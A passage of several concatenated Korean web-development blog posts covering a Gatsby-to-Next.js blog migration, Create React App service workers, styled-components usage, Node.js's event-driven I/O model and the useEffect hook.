내 마크다운 파일은 `/content/posts/articles`에 존재하고 있다. gatsby에서는 이것을 graphql로 처리하지만, nextjs에서는 그런 것이 없기 때문에 직접 파일시스템에 접근해서 재귀적으로 모든 `.md`파일을 찾아와서 [frontMatter](https://github.com/jxson/front-matter)로 읽어 왔다. 그리고 이렇게 읽어 온 마크다운을 HTML로 변환해주어야 한다. 이를 위해 [unified](https://github.com/unifiedjs/unified), [remark](https://github.com/remarkjs/remark) [rehype](https://github.com/rehypejs/rehype) 를 사용했다.

### 3) flow를 타입스크립트로 변환하기

이 과정이 젤 쉬웠다.

### 4) SCSS를 styled component로 변환

워낙 디자인 감각이 없는 대다가, SCSS에 postCss에 lostGrid 까지 사용되어 있어서 개인적으로 제일 고통스러운 과정이었다. 일일이 CSS를 보면서 적용했다.

## 3. 난관

### 1) Dynamic Path

내 블로그 글들을 nextjs dynamic path 문법으로 작성하면 다음과 같다.

```bash
- /[year]/[month]/[day]/[title]
- /[year]/[month]/[title]
```

그래서 아래와 같이 pages 디렉토리를 설정해주었는데

```bash
- /[year]/[month]/[day]/[title].tsx
- /[year]/[month]/[title].tsx
```

`day`와 `title`이 겹치면서 빌드가 되지 않았다. koa를 쓰면 라우팅 순서대로 타기 때문에 상관없지만, 여기까지 와서 koa를 쓰고 싶지 않아서 (...) 결국 아래와 같이 만들었다.

```bash
- /[year]/[month]/[day]/[title].tsx
- /[year]/[month]/[day]/index.tsx
```

이렇게 하면 세번째 path가 `day`로 동일해지기 때문에, 더 이상 에러가 나지 않는다. 다만 `index.tsx`에서 `day`가 아니라 `title`이라는 사실을 염두해두고 개발에 해야한다.

### 2. 마크다운 파서

내 마크다운은 다음과 같은 기능을 반드시 제공 해야만 했다.

- toc 자동생성
- latex 문법 지원
- heading link
- raw html 지원 (iframe 등). 어차피 글은 나만 쓰기 때문에 상관없다.
- 코드 하이라이팅

이를 완벽하게 지원하기 위하여 참으로 많은 삽질을 거쳤다. 특별한 노하우가 있는게 아니고 그냥 삽질의 과정이 었다. 약간의 시간을 거친 끝에, 잘 만들었다.

https://yceffort.kr/2020/07/math-for-programmer-chapter2-3-rational-irrational-real-number

### 3. 사이트맵

사이트맵도 gatsby에서는 graphql로 잘 만들어줬지만, 여기서는 내가 다 만들어야 했다.

### 4. 리다이렉트

`/categories` url이 존재하는지도 몰랐는데, 있긴 있더라. 그래서 이것들을 다 리다이렉트 시켰다. `next.config.js`에서 다 처리할 수 있다.

```javascript
module.exports = {
  async redirects() {
    return [
      {
        source: '/tag/:tag',
        destination: '/tag/:tag/page/1',
        permanent: true,
      },
      {
        source: '/category/:tag',
        destination: '/tag/:tag/page/1',
        permanent: true,
      },
      {
        source: '/categories',
        destination: '/tags',
        permanent: true,
      },
    ]
  },
}
```

## 3. 결과

일단 빌드 시간이 엄청나게 빨라졌다.

![gatsby](./images/gatsby-build.png)

7분 가까이 빌드에 소요되었었다. ㅠㅠ

```bash
16:54:32.265    Running "npm run build"
...

16:56:13.131    success Rewriting compilation hashes - 0.006s
16:59:23.076    success Building static HTML for pages - 7.784s - 655/655 84.15/s
16:59:24.034    success Generating image thumbnails - 275.708s - 2434/2434 8.83/s
```

정적파일 빌드 하는데 3분이 넘게 걸렸고, 쓸데 없이 이미지 썸네일 만드는데에 5분까지 걸렸다.

![nextjs](./images/nextjs-build.png)

빌드도 빨라지고, 빌드 결과물도 기존 232.34mb에서 29.02mb로 다이어트 할 수 있었다. (nextjs는 다이나믹 path에 대해서 모두 빌드해두는 것이 아니라, 최초 페이지 접근 요청이 올 때만 빌드하고, 이 후 접근엔 이전에 빌드해둔 페이지를 보여준다.)

또한 기존에 찾기가 너무 어려웠던 mathjax 문법 오류도 다 고칠 수 있었다.

### github issue & board

https://github.com/yceffort/yceffort-blog-v2/projects/1

https://github.com/yceffort/yceffort-blog-v2/issues?q=is%3Aissue+is%3Aclosed+label%3A%22%F0%9F%91%B7%E2%80%8D%E2%99%82%EF%B8%8F+Next.js%22

(볼 때 마다 느끼지만, 깃헙 라벨링 정말 이쁘다)

## 4. 아쉬운점

- CSS를 옮기면서 약간 생각 없이 그냥 가져온 부분들이 많다. CSS에 대해 더 분석할 필요가 있을 듯
- nextjs는 정적이미지를 `public`디렉토리에서 서빙해야되는데, 이거 때문에 이미지를 다 이 디렉토리로 옮겨 왔다. 그러다 보니 글 쓰는 과정 마크다운 프리뷰에서 이 이미지들을 제대로 볼 수 가 없었다. dev 환경에서 볼 수 는 있지만, dev 에서 .md 파일에 대해서는 HMR이 안되었다. 향 후 아이디어가 필요해 보인다.
- 일부 type이 없는 패키지가 있었는데, 맘이 급해서 `@ts-ignore` 로 무시하고 갔다. `@mapbox/rehype-prism` `remark-slug` 시간 나는대로 만들어야겠다.

## 5. 개선 예정 사항

- 글 오른쪽 하단 플로팅 버튼으로 글 최상단에 올라갈 수 있는 기능
- algolia를 활용한 검색 (디자인까지 건드려야 되서 매우 귀찮을 듯)
- 조금 더 예쁜 about, contact

---

Source: https://yceffort.kr/2020/10/service-worker-of-create-react-app.md
Title: Create React App의 serviceWorker는 무엇일까
Description: 가끔 봤지만 전혀 궁금해 하지 않았던 그 것
Date: 2020-10-08
Tags: react, web-performance

[원문](https://blog.bitsrc.io/using-service-workers-with-react-27a4c5e2d1a9)

## 개요

```typescript
// This optional code is used to register a service worker.
// register() is not called by default.

// This lets the app load faster on subsequent visits in production, and gives
// it offline capabilities. However, it also means that developers (and users)
// will only see deployed updates on subsequent visits to a page, after all the
// existing tabs open on the page have been closed, since previously cached
// resources are updated in the background.

// To learn more about the benefits of this model and instructions on how to
// opt-in, read https://bit.ly/CRA-PWA

const isLocalhost = Boolean(
  window.location.hostname === 'localhost' ||
  // [::1] is the IPv6 localhost address.
  window.location.hostname === '[::1]' ||
  // 127.0.0.0/8 are considered localhost for IPv4.
  window.location.hostname.match(
    /^127(?:\.(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)){3}$/,
  ),
)

type Config = {
  onSuccess?: (registration: ServiceWorkerRegistration) => void
  onUpdate?: (registration: ServiceWorkerRegistration) => void
}

export function register(config?: Config) {
  if (process.env.NODE_ENV === 'production' && 'serviceWorker' in navigator) {
    // The URL constructor is available in all browsers that support SW.
    const publicUrl = new URL(process.env.PUBLIC_URL, window.location.href)
    if (publicUrl.origin !== window.location.origin) {
      // Our service worker won't work if PUBLIC_URL is on a different origin
      // from what our page is served on. This might happen if a CDN is used to
      // serve assets; see https://github.com/facebook/create-react-app/issues/2374
      return
    }

    window.addEventListener('load', () => {
      const swUrl = `${process.env.PUBLIC_URL}/service-worker.js`

      if (isLocalhost) {
        // This is running on localhost. Let's check if a service worker still exists or not.
        checkValidServiceWorker(swUrl, config)

        // Add some additional logging to localhost, pointing developers to the
        // service worker/PWA documentation.
        navigator.serviceWorker.ready.then(() => {
          console.log(
            'This web app is being served cache-first by a service ' +
              'worker. To learn more, visit https://bit.ly/CRA-PWA',
          )
        })
      } else {
        // Is not localhost. Just register service worker
        registerValidSW(swUrl, config)
      }
    })
  }
}

function registerValidSW(swUrl: string, config?: Config) {
  navigator.serviceWorker
    .register(swUrl)
    .then((registration) => {
      registration.onupdatefound = () => {
        const installingWorker = registration.installing
        if (installingWorker == null) {
          return
        }
        installingWorker.onstatechange = () => {
          if (installingWorker.state === 'installed') {
            if (navigator.serviceWorker.controller) {
              // At this point, the updated precached content has been fetched,
              // but the previous service worker will still serve the older
              // content until all client tabs are closed.
              console.log(
                'New content is available and will be used when all ' +
                  'tabs for this page are closed. See https://bit.ly/CRA-PWA.',
              )

              // Execute callback
              if (config && config.onUpdate) {
                config.onUpdate(registration)
              }
            } else {
              // At this point, everything has been precached.
              // It's the perfect time to display a
              // "Content is cached for offline use." message.
              console.log('Content is cached for offline use.')

              // Execute callback
              if (config && config.onSuccess) {
                config.onSuccess(registration)
              }
            }
          }
        }
      }
    })
    .catch((error) => {
      console.error('Error during service worker registration:', error)
    })
}

function checkValidServiceWorker(swUrl: string, config?: Config) {
  // Check if the service worker can be found. If it can't reload the page.
  fetch(swUrl, {
    headers: {'Service-Worker': 'script'},
  })
    .then((response) => {
      // Ensure service worker exists, and that we really are getting a JS file.
      const contentType = response.headers.get('content-type')
      if (
        response.status === 404 ||
        (contentType != null && contentType.indexOf('javascript') === -1)
      ) {
        // No service worker found. Probably a different app. Reload the page.
        navigator.serviceWorker.ready.then((registration) => {
          registration.unregister().then(() => {
            window.location.reload()
          })
        })
      } else {
        // Service worker found. Proceed as normal.
        registerValidSW(swUrl, config)
      }
    })
    .catch(() => {
      console.log(
        'No internet connection found. App is running in offline mode.',
      )
    })
}

export function unregister() {
  if ('serviceWorker' in navigator) {
    navigator.serviceWorker.ready
      .then((registration) => {
        registration.unregister()
      })
      .catch((error) => {
        console.error(error.message)
      })
  }
}
```

서비스 워커란 브라우저에서 실행되는 스크립트 파일이다. 이 파일에서 직접적으로 DOM을 다뤄서는 안된다. 여기에는 별도 구성 없이 사용할 수 있는 네트워크 관련 기능들이 존재한다. 서비스 워커는 오프라인 경험을 제공하기 위해서 존재한다. 여기에는 푸쉬 알림, 백그라운드 동기화 등이 있다.

리액트에서 서비스 워커를 적절하게 구성할 수 있다면, 네트워크 요청을 가로채서 관리함으로써 다양한 작업등을 할 수 있다. `create-react-app`을 사용하면 서비스 워커는 `SWPrecacheWebpackPlugin`를 통해 자동으로 설치된다. 서비스 워커는 네트워크가 새로운 요청을 처리하기 위한 병목현상이 되지않도록 한다.

## 서비스워커: 유즈케이스

이는 개발자가 심리스한 연결성을 보여주기 위해서는, 가장 먼저 해결해야 할 문제가 바로 네트워크 연결 중단이다. 최근에는 좋은 사용자 경험을 제공하는 오프라인 어플리케이션의 개념이 인기를 끓고 있다. 서비스워커는 웹 개발자에게 다음과 같은 이점을 제공한다.

- 웹사이트의 성능향상. 웹사이트의 로딩 속도를 빠르게 하기 위해 사이트 일부를 캐싱할 수 있다.
- 오프라인 화면을 제공하여, 연결이 끊기더라도 정상적으로 애플리케이션을 계속 사용하도록 할 수 있다.
- 기존 웹 기술로는 불가능한 알림과 푸쉬 API를 활용할 수 있다.
- 백그라운드 동기화를 수행할 수 있게 해준다. 사용자에게 원활한 환경을 제공하기 위해, 네트워크 연결이 다시 복원될 때 까지 특정 작업을 연기할 수 있다.

## 서비스워커의 라이브사이클

서비스워커의 라이프 사이클은 웹 애플리케이션과 관련이 없다. 자바스크립트를 활용하여 서비스 워커를 등록하면 설치가 된다. 이는 브라우저가 백그라운드에서 설치를 시작하도록 지시한다. 또한 필요한 에셋을 이 기간 동안 캐시할 수도 있다. 설치가 끝나면 활성화 프로세스가 시작된다. 활성화되면, 서비스 워커는 해당 범위의 모든 페이지와 연결되며, 이벤트에 의해 호출되지 않는 한 프로세스가 종료된다.

서비스워커의 라이프 사이클은 일반적으로 개발자가 코딩해야 한다. 리액트의 서비스 워커의 경우, 리액트 자체로 라이프 사이클을 관리하여 개발자가 조금더 서비스 워커를 다루기 쉽게 했다.

![lifecycle of service worker](https://miro.medium.com/max/1400/1*HUnu3nbBSq2lDoOSllBkiA.png)

## 리액트 서비스 워커의 고려사항

- 서비스 워커는 브라우저에 의해 자체 글로벌 스크립트 컨텍스트에서 실행된다. 이는 즉, 페이지의 DOM 요소에 접근해서는 안된다는 것을 의미한다. 따라서, 페이지와의 통신이 필요하다면 간접적인 방식으로 처리해야 한다. 보통 [postMessage](https://developer.mozilla.org/en-US/docs/Web/API/Client/postMessage)를 사용한다.
- 서비스 워커는 HTTPS 프로토콜에서만 실행된다. `localhost`는 제외.
- 서비스 워커는 특정 페이지에 종속되어 있지 않으므로, 재사용이 가능하다.
- 서비스워커는 이벤트 중심으로 이루어져 있다 (event driven). 이는 서비스 워커가 종료되면 어떠한 정보도 얻을 수 없다는 것을 의미한다. 이전 상태의 정보에 접근하기 위해서는, [IndexedDB API](https://developer.mozilla.org/en-US/docs/Web/API/IndexedDB_API)를 사용해야 한다.

## 리액트 서비스워커 활성화

`create-react-app`으로 리액트 어플리케이션을 만들면, 아래와 같은 구조를 띄고 있을 것이다.

```text
├── README.md
├── node_modules
├── package.json
├── .gitignore
├── build
├── public
│   ├── favicon.ico
│   ├── index.html
│   └── manifest.json
└── src
    ├── App.css
    ├── App.js
    ├── App.test.js
    ├── index.css
    ├── index.js
    ├── logo.svg
    └── serviceWorker.js
```

`serviceWorker.js`가 `src` 밑에 존재한다. 이 파일은 디폴트로 생성된다. 이 단계에서는 서비스워커는 등록되지 않았으므로, 서비스 워커를 사용하기 위해서는 이를 등록해야 한다.

`src/index.js`의

```javascript
serviceWorker.unregister()
```

를

```javascript
serviceWorker.register()
```

로 바꾼다. 이렇게 딱 한줄만 바꾸면, 리액트 애플리케이션의 서비스 워커를 사용할 준비가 된다.

일반적인 웹 애플리케이션에서는, 서비스워커의 전체 라이프 사이클을 코딩해야 한다. 그러나 리액트는 기본값으로 이러한 개발을 할 준비를 해두었다. `src/serviceWorker.js` 파일을 확인해보면, 서비스워커와 관련된 코드가 준비되어 있는 것을 볼 수 있다.

## 개발환경에서 리액트 서비스 워커 작업하기

`serviceWorker.js`의 `register()` 함수를 보면, `process.env.NODE_ENV === 'production'` 때문에 프로덕션 모드에서만 실행된다는 것을 알 수 있다. 이를 수정할 방법이 몇가지 있다.

- 이조건을 삭제하여 development에서도 실행하는 방법. 그러나 잠재적인 이슈가 있을 수 있다.
- 리액트 애플리케이션을 프로덕션 버전으로 만들어서, 서빙하는 방법. 아래와 같은 방법으로 사용하면 된다.

```text
$ yarn global add serve
$ yarn build
$ serve -s build
```

## 서비스 워커를 커스터마이징 하는법

CRA에서 `service-worker.js`는 기본적으로 모든 기본 에셋을 캐싱한다. 서비스 워커에 기능을 추가하기 위해서는, `custom-service-worker.js`를 만들고, `register()`를 수정해서 커스터마이징 하는 방법이 있다.

34번째 라인에 가서, 아래와 같이 수정하면 된다.

```javascript
window.addEventListener('load', () => {
  const swUrl = `${process.env.PUBLIC_URL}/custom-service-worker.js`;
  //
}
```

`package.json`을 아래와 같이 수정한다.

```json
"scripts": {
   "start": "react-app-rewired start",
   "build": "react-app-rewired build",
   "test": "react-app-rewired test",
   "eject": "react-app-rewired eject"
},
```

그리고, Google의 workbox plugin을 추가한다. [Google's Workbox plugin](https://developers.google.com/web/tools/workbox/guides/codelabs/webpack)

```text
npm install --save-dev workbox-build
```

다음에, CRA에 커스텀 서비스 워커를 삽입하도록 지시하는 설정파일을 생성한다.

```javascript
const WorkboxWebpackPlugin = require('workbox-webpack-plugin')
module.exports = function override(config, env) {
  config.plugins = config.plugins.map((plugin) => {
    if (plugin.constructor.name === 'GenerateSW') {
      return new WorkboxWebpackPlugin.InjectManifest({
        swSrc: './src/custom-service-worker.js',
        swDest: 'service-worker.js',
      })
    }

    return plugin
  })
  return config
}
```

다음 아래와 같이 특정 디렉토리를 캐시하는 커스텀 서비스 워커를 만들 수 있다.

```javascript
workbox.routing.registerRoute(
  new RegExp('/path/to/cache/directory/'),
  workbox.strategies.NetworkFirst(),
)
workbox.precaching.precacheAndRoute(self.__precacheManifest || [])
```

변경사항을 적용하기 위해서는 애플리케이션을 다시 빌드하면 된다.

## 더 공부해보기

https://developers.google.com/web/fundamentals/primers/service-workers/

> 서비스 워커는 브라우저가 백그라운드에서 실행하는 스크립트로, 웹페이지와는 별개로 작동하며, 웹페이지 또는 사용자 상호작용이 필요하지 않은 기능에 대해 문호를 개방합니다. 현재 푸시 알림 및 백그라운드 동기화와 같은 기능은 이미 제공되고 있습니다. 향후 서비스 워커는 주기적 동기화 또는 지오펜싱과 같은 다른 기능을 지원할 수 있습니다. 이 가이드에서는 프로그래밍 방식의 응답 캐시 관리를 비롯하여 네트워크 요청을 가로채고 처리하는 핵심 기능에 대해 설명합니다.

https://github.com/facebook/create-react-app/pull/1728

https://developers.google.com/web/tools/workbox/modules/workbox-webpack-plugin#generatesw_plugin

---

Source: https://yceffort.kr/2020/10/style-with-styled-components.md
Title: styled-components로 스타일 적용하는법
Description: styled components가 쓰고 싶습니다
Date: 2020-10-07
Tags: react, css

먼저 [styled components](https://styled-components.com/)를 쓰는 방법을 간단하게 살펴보자.

## Table of Contents

## Create

```javascript
import styled from 'styled-components'

const Button = styled.button`
  display: inline-block;
  padding: 6px 12px;
  font-size: 16px;
  font-family: Arial, sans-serif;
  line-height: 1.5;
  color: white;
  background-color: #6c757d;
  border: none;
  border-radius: 4px;
  :not(:disabled) {
    cursor: pointer;
  }
  :hover {
    background-color: #5a6268;
  }
`
```

`styled` 컴포넌트를 임포트하고, `button`과 함께 사용하여 백틱 두개 사이에서 스타일을 적용하였다. `button` 대신에 `h1` `p` 등의 HTML elements를 사용할 수 있으며, 스타일에는 유효한 모든 CSS 문법이 가능하다.

## Usage

이렇게 만든 styled component는 리액트 컴포넌트와 마찬가지로 JSX 문법을 이용하여 사용할 수 있다.

```javascript
const App = () => {
  return (
    <Button onClick={() => alert('clicked!')} type="button">
      Button
    </Button>
  )
}
```

## Internal

이렇게 해서 만들어진 `button`을 한번 살펴보자.

https://codesandbox.io/embed/sweet-forest-1eix4?fontsize=14&hidenavigation=1&theme=dark

```html
<style data-styled="active" data-styled-version="5.2.0">
  .eWMwHd {
    display: inline-block;
    padding: 6px 12px;
    font-size: 16px;
    font-family: Arial, sans-serif;
    line-height: 1.5;
    color: white;
    background-color: #6c757d;
    border: none;
    border-radius: 4px;
  }
  .eWMwHd:not(:disabled) {
    cursor: pointer;
  }
  .eWMwHd:hover {
    background-color: #5a6268;
  }
</style>
<button type="button" class="sc-dlnjPT eWMwHd">Button</button>
```

그렇다면 내부에서는 어떻게 작할까?

1. styled components는 정의된 스타일을 기반으로 유니크한 클래스명을 만든다.
2. HTML `<head>` 영역에 `<style>` 태그를 넣고, 여기에 1번에서 만든 유니크 클래스명과 연결되는 스타일을 넣어둔다.
3. 1번과 2번을 바탕으로 렌더링한다.

## Extend

기존에 존재하는 styled component를 바탕으로 디자인을 확장할 수 있다. 대신 `.button`이 아닌 `.(확장할 컴포넌트명)`을 사용한다.

```javascript
const PrimaryButton = styled(Button)`
  background-color: #007bff;
  :hover {
    background-color: #0069d9;
  }
`
const App = () => {
  return (
    <PrimaryButton onClick={() => alert('clicked!')} type="button">
      Primary
    </Button>
  )
}
```

이와 유사하게, 리액트 컴포넌트를 확장할 수 도 있다.

```javascript
const ButtonComponent = ({className}) => {
  return (
    <Button
      className={className}
      onClick={() => alert('clicked!')}
      type="button"
    >
      Primary
    </Button>
  )
}
const PrimaryButton = styled(ButtonComponent)`
  background-color: #007bff;
  :hover {
    background-color: #0069d9;
  }
`
```

한가지 다른 점은 `className` prop이 추가되었다는 것이다. 이 `className`은 앞서 언급했던 class와 동일하게 동작하며, 반드시 prop으로 넘겨주어야 한다. 그렇지 않으면 작동하지 않는다.

## Compose

기존에 존재하는 스타일과 합성도 가능하다.

```javascript
import styled, {css} from 'styled-components'
const blackFont = css`
  color: black;
`

const WarningButton = styled(Button)`
  background-color: #ffc107;
  :hover {
    background-color: #e0a800;
  }
  ${blackFont}
`

const App = () => {
  return (
    <WarningButton onClick={() => alert('clicked!')} type="button">
      Warning
    </WarningButton>
  )
}
```

## Prop Style

prop을 받아서 스타일을 선택적으로 적용할 수도 있다.

```javascript
import styled, {css} from 'styled-components'
const SuccessButton = styled(Button)`
  ${(props) =>
    props.$success
      ? css`
          background-color: #28a745;
          :hover {
            background-color: #218838;
          }
        `
      : ''}
`
const App = () => {
  return (
    <SuccessButton $success onClick={() => alert('clicked!')} type="button">
      Success
    </SuccessButton>
  )
}
```

여기에 필수는 아니지만 `$` prefix를 붙였는데, 이는 다른 DOM, React 컴포넌트에서 사용하는 props와 명확히 구별하기 위함이다.

---

Source: https://yceffort.kr/2020/10/how-node-js-works.md
Title: Node.js는 어떻게 동작하는가
Description: nodejs에 대해서도 공부하자
Date: 2020-10-06
Tags: nodejs, backend

## I/O는 느리다

IO (Input / Output)은 컴퓨터의 기본 작업 중에 제일 느리다. RAM에 비해서 당연히 느리고, 디스크의 처리속도, CPU 등등과 비교해서도 제일 느린 것이 IO다. 과거 플로피 디스크를 생각해보면, 디스크에서 긁히는 (읽는) 소리가 나서야 프로그램이 동작했다. 따라서 I/O는 웹 서비스의 성능에 가장 많은 영향을 미치는, 모니터링 해야 하는 요소 중에 하나다.

## 블로킹 I/O

전통적인 블로킹 IO 프로그래밍 에서는, IO 요청에 해당하는 함수의 작업이 완료 될 때까지 스레드의 실행이 차단된다.

```javascript
// 데이터가 사용가능해질 때까지 블로킹됨
data = socket.read()
// 데이터가 사용가능해져야 비로소 print가 된다.
print(data)
```

따라서 블로킹 IO를 사용하여 구현된 웹서버에서는, 한개의 스레드에서 여러개의 연결을 처리할 수 없다. 소켓의 IO 동작이 다른 연결의 처리를 차단해 버리기 때문이다. 이 문제를 해결하기 위한 전통적인 접근 방식은, 각각의 연결을 동시에 처리하기 위해 별도의 스레드 (프로세스)를 사용하는 것이다.

데이터 베이스 또는 파일 시스템과 상호작용하기 위하여 IO를 차단해야 한다면, IO 작업 결과를 대기 하기 위해 얼마나 많은 스레드가 차단되어야 하는지는 쉽게 상상할 수 있다. 당연히도, 스레드는 시스템 리소스 측면에서 저렴하지 않으므로, 각 연결에 대해 장기간 실행되는 스레드를 가지고 대부분의 시간 동안 사용하지 않는 것은 소중한 메모리와 CPU 사이클을 낭비하게 되는 결과를 초래한다.

## 논블로킹 I/O

대부분의 최신 OS는 블로킹 IO 외에도 논블로킹 IO라고 하는 또다른 메커니즘을 지원한다. 이 모드에서는, 데이터가 읽히거나 쓰일 때 까지 기다리지 않고 즉시 시스템 호출을 반환한다. 이 시점에 결과를 리턴할 준비가 안되어 있을 경우, 미리 정해진 상수를 반환하여 그 순간에 아직 반환할 수 있는 데이터가 없음을 나타낸다.

이러한 논블로킹 IO 처리를 위한 기본적인 패턴은, 실제 데이터가 반환될 때까지 루프 내에서 리소스를 계속해서 폴링하는 것이다. 이를 `busy-waiting`이라고 한다.

```javascript
resources = [socketA, socketB, fileA]
while (!resources.isEmpty()) {
  for (resource of resources) {
    // 읽기 시도
    data = resource.read()
    if (data === NO_DATA_AVAILABLE) {
      // 아직 데이터가 없다
      continue
    }
    if (data === RESOURCE_CLOSED) {
      // 리소스가 종료되었다. 리스트에서 삭제
      resources.remove(i)
    } else {
      // 데이터를 받았다.
      consumeData(data)
    }
  }
}
```

보시다시피 이는 간단하게 동일 스레드에서 서로 다른 자원을 처리할 수 있지만, 여전히 효율적이 지 않다. 위 예제의 루프는 대부분의 시간을 사용할 수 없는 리소스를 반복하기 위해 귀중한 CPU 자원만 소비한다. 폴링 알고리즘은, CPU 를 엄청나게 낭비한다.

## 이벤트 디멀티플렉싱

멀티플렉싱이란, 하나의 통신 채널을 통해서 둘 이상의 데이터를 전송하는데 사용하는 기술로, 여러개의 신호를 하나로 결합해 용량이 제한된 매체를 통해 전송하는 방식이다.

디멀티플렉싱은, 신호가 원래 구성요소로 다시 분할되는, 멀티플렉싱과 반대되는 동작이다. 여러 리소스를 감시하고, 이중 하나의 실행된 읽기 또는 쓰기 작업이 완료되면 새로운 이벤트를 반환한다. 여기서 장점은 동기식으로 작동하기 때문에 새로운 이벤트가 있을 때까지 차단한다는 것이다. 즉 이 매커니즘은, 일련의 리소스들로부터 오는 IO 이벤트를 모아서 큐에 넣고 처리할 수 있는 새 이벤트가 있을 때까지 차단한다.

```javascript
// 리소스가 하나씩 추가된다
watchedList.add(socketA, FOR_READ)
watchedList.add(fileB, FOR_READ)
// demultiplexer.watch는 동기식으로 작동되며
// 감시 대상 중 하나라도 데이터를 리턴하기 전까지 차단된다.
// 자원이 읽어드릴 준비가 되면, 호출로 부터 복귀해서 새로운 이벤트를 처리할 수 있게 된다. (비동기)
while ((events = demultiplexer.watch(watchedList))) {
  // 디멀티플렉서가 감시할 자원의 그룹을 설정해둔다.
  // 이벤트 루프
  for (event of events) {
    // (3)
    // 디멀티플렉서가 반환한 이벤트가 처리된다.
    // 이곳에 도달했다는 것은, 읽기 작업이 완료되었다는 것이므로 차단되지 않고 데이터를 반환한다.
    data = event.resource.read()
    if (data === RESOURCE_CLOSED) {
      // 리소스가 닫히면, 더 이상 감시하지 않는다.
      demultiplexer.unwatch(event.resource)
    } else {
      // 데이터를 받으면, 그냥 처리한다.
      consumeData(data)
    }
  }
}
```

정리하자면, 바로 값을 가져올 수 없는 형태의 함수를 만날 경우, 일단 약속된 상수값을 리턴하고, 해당 함수를 디멀티플렉서에 추가한다. 추가된 내용에는 완료 후 호출된 콜백과 이벤트가 들어 있다. 이벤트가 완료되면 디멀티플렉서가 이벤트를 반환한다. 반환된 이벤트는 이벤트 큐에 푸시되고, 이벤트 루프는 이 큐를 순환하며 각각 이벤트에 대한 핸들러를 실행한다.

이를 활용하면, 하나의 스레드로 여러 IO 작업을 동시에 실행할 수 있다. 이 외에도 하나의 스레드에서 처리한다는 것은, 프로그래머들이 동시성에 접근하는 방식에도 이점을 얻을 수 있다.

## 반응자 패턴 (Reactor Pattern)

반응자 패턴의 핵심 개념은 각 IO 동작과 관련된 핸들러를 갖는 것이다. Nodejs에서 핸들러는 콜백 함수로 표현된다. 핸들러는 이벤트 루프에 의해 이벤트가 생성되고, 처리되는 즉시 호출된다.

![Reactor pattern](https://miro.medium.com/max/1200/1*X0m82lpBhRONFvRGCRu84w.jpeg)

1. 애플리케이션이 요청을 이벤트 디멀티플렉서에 제출하여, 새로운 IO 작업을 생성한다. 애플리케이션은 또한 작업이 완료되면 호출할 핸들러(콜백)를 지정한다. 새로운 요청을 이벤트 디멀티플렉서에 제출하는 것은 논블로킹 요청으로, 즉시 애플리케이션에 통제권을 반환한다.
2. IO 작업 세트가 완료되면, 이벤트 디멀티플렉서가 해당 이벤트 세트를 이벤트 큐로 푸시 한다.
3. 이 때, 이벤트 루프는 이벤트 큐 항목에서 반복된다.
4. 각 이벤트에 연결된 핸들러가 호출된다.
5. 애플리케이션 코드의 일부인 핸들러(콜백) 실행이 완료되면, 이벤트 루프를 다시 제어한다. 콜백이 실행되는 동안, 새로운 비동기 작업을 요청할 수 있으며, 이는 이벤트 디멀티플렉서에 새로운 항목 추가를 야기한다.
6. 이벤트 큐의 모든항목이 처리되면, 이벤트 루프는 이벤트 디멀티플렉서를 다시 차단하며, 이 경우 새로운 이벤트가 가능해질 때 다시 트리거한다.

비동기 동작이 이제 보다 분명해졌다. 애플리케이션은 특정 시점에 (블로킹 없이) 자원에 접근하는 것에 대한 의사를 표시하고 이에 따른 핸들러를 제공하며, 다음 연산이 완료되면 다른 시점에 호출된다.

우리는 Node.js의 핵심 패턴을 다음과 같이 정의할 수 있다.

> 반응자 패턴: 관찰 대상 리소스가 반응하면 (콜백) 해당 이벤트 핸들러를 추적해 실행하는 디자인 패턴.

## Libuv, Node.js의 IO 엔진

각 운영체제는 이벤트 디멀티플렉서에 대한 자체 인터페이스가 있다. (리눅스의 epoll, macos의 kqueue, 윈도우의 IOCP API) 이러한 불일치로 인해 node.js 팀은 모든 주요 운영 체제와 호환되고 서로 다른 유형의 논블로킹 동작을 정상적으로 처리하기 위한 목적으로 `libuv`라고 하는 네이티브 라이브러리를 만들었다. `libuv`는 기본적인 시스템 호출을 추상화 하는 것 외에도, 반응자 패턴을 구현하여 이벤트 루프 생성, 이벤트 큐 곤리, 비동기 IO 작업 실행 및, 기타 유형의 작업 큐를 위한 API를 제공한다.

## Node.js

반응자패턴과 `libuv`는 Node.js를 구성하는 핵심이며, 여기에 추가적으로 3개의 구성요소를 더하면 node.js가 완성된다.

- Binding: `libuv` 과 기타 저수준 기능을 자바스크립트에 래핑하고 사용가능하게 만들어 준다.
- V8: 구글에서 만든 크롬용 자바스크립트 엔진. Node.js를 빠르고 효율적으로 만들어 준다. 혁신적인 디자인과 속도, 효율적인 메모리 관리로 호평받고 있다.
- Javascript Core API: Node.js API를 구현하는 코어

![receipt node.js](https://t1.daumcdn.net/cfile/tistory/992DF44A5AD96F4E0B)

---

Source: https://yceffort.kr/2020/10/think-about-useEffect.md
Title: useEffect는 라이프 사이클 메소드가 아니다.
Description: 생각없이 useEffect를 쓰지 말자
Date: 2020-10-02
Tags: react

## useEffect는 라이프 사이클 메소드가 아니다

과거 리액트 클래스 컴포넌트에는 `constructor` `componentDidMount` `componentDidUpdate` `componentWillUnmount` 와 같이 리액트 라이프 사이클에 대응할 수 있는 각각의 메소드가 존재했다. 함수형 컴포넌트의 훅으로 넘어오면서, 이러한 라이프 사이클 메소드를 훅으로 각각 대체하려고 하지만 이는 큰 실수다.

결론부터 말하자면, `useEffect`는 라이프 사이클 훅이 아니다. `useEffect`는 app 의 state값을 활용하여 동기적으로 부수효과를 만들 수 있는 메커니즘이다.

> The question is not "when does this effect run" the question is "with which state does this effect synchronize with"

https://twitter.com/ryanflorence/status/1125041041063665666

```javascript
useEffect(fn) // all state
useEffect(fn, []) // no state
useEffect(fn, [these, states])
```

## `eslint-plugin-react-hooks/exhaustive-deps`로 deps를 무시하지마라

물론 기술적으로는 가능하다. 그리고 때로는 사용하는게 좋은 이유가 될 수 있다. 그러나 대부분의 경우에 이를 사용하는 것은 나쁜 생각이며, 잠재적인 버그를 만들 수 있다. 이런 이야기를 했을 때, 많은 사람들이 '컴포넌트를 mount 했을 때만 실행 하고 싶을 때가 있다' 라고 말할 수 있다. 그러나 이는 라이프사이클의 접근법이며, 옳지 못하다. `useEffect`에 deps가 있을 경우, effect 백은 deps에 변화가 있을 때 항상 실행된다. 그 외에는, app의 state 변화로 부터 부수효과와 분리되어 sync가 맞지 않게 된다. (app의 state값과 부수효과가 별개로 돌아가게 된다.)

요약하자면, 이는 버그로 이어질 수 있으므로 해당 룰을 off해서는 안된다.

